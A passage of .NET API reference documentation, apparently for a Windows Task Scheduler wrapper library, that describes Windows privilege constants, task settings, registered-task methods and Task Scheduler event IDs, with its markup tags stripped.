privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege. User Right: + Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a + security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those + values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access + control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the + RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, + FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL + specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any + valid user or group security identifier (SID) as the owner of a file. This privilege is required by the RegLoadKey function. The following access + rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, + FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: Modify firmware + environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It + is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read all objects and + properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and + LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not supported. Note that this + value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for + administrators, services, and the local system account. User Right: Create global objects. Windows XP/2000: This privilege is not supported. Note + that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of process SID in the + IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default discretionary access control list + (DACL) will be modified to allow only the task SID and local system full control and the account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify the type of state + change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by switching users on + the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop Connection program + from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the Remote Desktop Connection + program from a remote computer. + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, see Task Idle Conditions. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value is one minute. If this + value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no value is specified for + this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time allowed is 1 minute. If + this value is TimeSpan.Zero, then the delay will be set to the default of 1 hour. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, if the task failed to + complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than + the value of the property. If the deadline is not specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive mode. The exclusivity is + guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If exclusivity is not specified, the task is + started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials that are used to + register the task, and the properties that describe the task. + + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the current task. If + changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if there were no future + run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all versions will return + DateTime.MinValue if there are no future run times. While this is different from the native 2.0 library, it was deemed more appropriate to + have consistency between the two libraries and with other .NET libraries. + + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + + Gets a value indicating whether this task is read only. Only available if + is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the most recent registration + event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling + from the currently registered folder using the currently registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. Run()). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value specified in this + parameter is ignored.If the value is passed into the flags parameter and the sessionID value is less than or + equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service will try to start the task interactively as + the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID value is a valid session + ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service will try to start the task interactively as the + user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. RunEx(0, 0, "MyUserName")). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current task. + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to execute and read a task, + then the user can stop the task. A user can stop the task instances that are running under the same credentials as the user account. In all other + cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the Task Scheduler. + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by third-parties who wish to + extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data stream directly. + Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can have values under V2. An example of + this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access to the task using the + native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the author of the task, and + the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For 